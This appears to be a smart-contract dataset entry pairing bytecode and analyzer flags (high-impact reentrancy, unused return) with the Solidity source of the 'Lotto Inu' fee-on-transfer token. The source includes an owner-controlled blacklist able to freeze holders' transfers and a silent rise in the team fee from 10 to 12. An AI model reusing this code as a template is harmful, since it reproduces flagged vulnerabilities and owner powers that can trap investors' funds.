ff16565b905060006126be60646126b0888b611cfa90919063ffffffff16565b611d7590919063ffffffff16565b905060006126e7826126d9858c6124c990919063ffffffff16565b6124c990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127178589611cfa90919063ffffffff16565b9050600061272e8689611cfa90919063ffffffff16565b905060006127458789611cfa90919063ffffffff16565b9050600061276e8261276085876124c990919063ffffffff16565b6124c990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279a612795846130ac565b613087565b905080838252602082019050828560208602820111156127b957600080fd5b60005b858110156127e957816127cf88826127f3565b8452602084019350602083019250506001810190506127bc565b5050509392505050565b600081359050612802816136ea565b92915050565b600081519050612817816136ea565b92915050565b600082601f83011261282e57600080fd5b813561283e848260208601612787565b91505092915050565b60008135905061285681613701565b92915050565b60008151905061286b81613701565b92915050565b60008135905061288081613718565b92915050565b60008151905061289581613718565b92915050565b6000602082840312156128ad57600080fd5b60006128bb848285016127f3565b91505092915050565b6000602082840312156128d657600080fd5b60006128e484828501612808565b91505092915050565b6000806040838503121561290057600080fd5b600061290e858286016127f3565b925050602061291f858286016127f3565b9150509250929050565b60008060006060848603121561293e57600080fd5b600061294c868287016127f3565b935050602061295d868287016127f3565b925050604061296e86828701612871565b9150509250925092565b6000806040838503121561298b57600080fd5b6000612999858286016127f3565b92505060206129aa85828601612871565b9150509250929050565b6000602082840312156129c657600080fd5b600082013567ffffffffffffffff8111156129e057600080fd5b6129ec8482850161281d565b91505092915050565b600060208284031215612a0757600080fd5b6000612a1584828501612847565b91505092915050565b600060208284031215612a3057600080fd5b6000612a3e8482850161285c565b91505092915050565b600060208284031215612a5957600080fd5b6000612a6784828501612871565b91505092915050565b600080600060608486031215612a8557600080fd5b6000612a9386828701612886565b9350506020612aa486828701612886565b9250506040612ab586828701612886565b9150509250925092565b6000612acb8383612ad7565b60208301905092915050565b612ae081613242565b82525050565b612aef81613242565b82525050565b6000612b00826130e8565b612b0a818561310b565b9350612b15836130d8565b8060005b83811015612b46578151612b2d8882612abf565b9750612b38836130fe565b925050600181019050612b19565b5085935050505092915050565b612b5c81613254565b82525050565b612b6b81613297565b82525050565b6000612b7c826130f3565b612b86818561311c565b9350612b968185602086016132a9565b612b9f816133e3565b840191505092915050565b6000612bb760238361311c565b9150612bc2826133f4565b604082019050919050565b6000612bda60198361311c565b9150612be582613443565b602082019050919050565b6000612bfd602a8361311c565b9150612c088261346c565b604082019050919050565b6000612c2060228361311c565b9150612c2b826134bb565b604082019050919050565b6000612c43601b8361311c565b9150612c4e8261350a565b602082019050919050565b6000612c6660218361311c565b9150612c7182613533565b604082019050919050565b6000612c8960208361311c565b9150612c9482613582565b602082019050919050565b6000612cac60298361311c565b9150612cb7826135ab565b604082019050919050565b6000612ccf60258361311c565b9150612cda826135fa565b604082019050919050565b6000612cf2601a8361311c565b9150612cfd82613649565b602082019050919050565b6000612d1560248361311c565b9150612d2082613672565b604082019050919050565b6000612d3860178361311c565b9150612d43826136c1565b602082019050919050565b612d5781613280565b82525050565b612d668161328a565b82525050565b6000602082019050612d816000830184612ae6565b92915050565b6000604082019050612d9c6000830185612ae6565b612da96020830184612ae6565b9392505050565b6000604082019050612dc56000830185612ae6565b612dd26020830184612d4e565b9392505050565b600060c082019050612dee6000830189612ae6565b612dfb6020830188612d4e565b612e086040830187612b62565b612e156060830186612b62565b612e226080830185612ae6565b612e2f60a0830184612d4e565b979650505050505050565b6000602082019050612e4f6000830184612b53565b92915050565b60006020820190508181036000830152612e6f8184612b71565b905092915050565b60006020820190508181036000830152612e9081612baa565b9050919050565b60006020820190508181036000830152612eb081612bcd565b9050919050565b60006020820190508181036000830152612ed081612bf0565b9050919050565b60006020820190508181036000830152612ef081612c13565b9050919050565b60006020820190508181036000830152612f1081612c36565b9050919050565b60006020820190508181036000830152612f3081612c59565b9050919050565b60006020820190508181036000830152612f5081612c7c565b9050919050565b60006020820190508181036000830152612f7081612c9f565b9050919050565b60006020820190508181036000830152612f9081612cc2565b9050919050565b60006020820190508181036000830152612fb081612ce5565b9050919050565b60006020820190508181036000830152612fd081612d08565b9050919050565b60006020820190508181036000830152612ff081612d2b565b9050919050565b600060208201905061300c6000830184612d4e565b92915050565b600060a0820190506130276000830188612d4e565b6130346020830187612b62565b81810360408301526130468186612af5565b90506130556060830185612ae6565b6130626080830184612d4e565b9695505050505050565b60006020820190506130816000830184612d5d565b92915050565b60006130916130a2565b905061309d82826132dc565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c7576130c66133b4565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313882613280565b915061314383613280565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317857613177613356565b5b828201905092915050565b600061318e82613280565b915061319983613280565b9250826131a9576131a8613385565b5b828204905092915050565b60006131bf82613280565b91506131ca83613280565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320357613202613356565b5b828202905092915050565b600061321982613280565b915061322483613280565b92508282101561323757613236613356565b5b828203905092915050565b600061324d82613260565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a282613280565b9050919050565b60005b838110156132c75780820151818401526020810190506132ac565b838111156132d6576000848401525b50505050565b6132e5826133e3565b810181811067ffffffffffffffff82111715613304576133036133b4565b5b80604052505050565b600061331882613280565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334b5761334a613356565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136f381613242565b81146136fe57600080fd5b50565b61370a81613254565b811461371557600080fd5b50565b61372181613280565b811461372c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220641c3583d42dbc4d859eee777f080966b62fba8293cdf76e0f46395d2da6827164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,052 |
0x5d7ce4376e9c2f0d3fd994ff193afc9676f090db
|
/**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
//Lotto Inu (LottoInu)
//Limit Buy yes
//Cooldown yes
//Bot Protect yes
//Deflationary yes
//Fee yes
//Liqudity dev provides and lock
//TG: https://t.me/lottoinuofficial
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract LottoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lotto Inu";
string private constant _symbol = "LottoInu \xF0\x9F\x94\xA5";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600981526020017f4c6f74746f20496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4c6f74746f496e7520f09f94a500000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473fffffffffffffffffffffffffffffffffffffff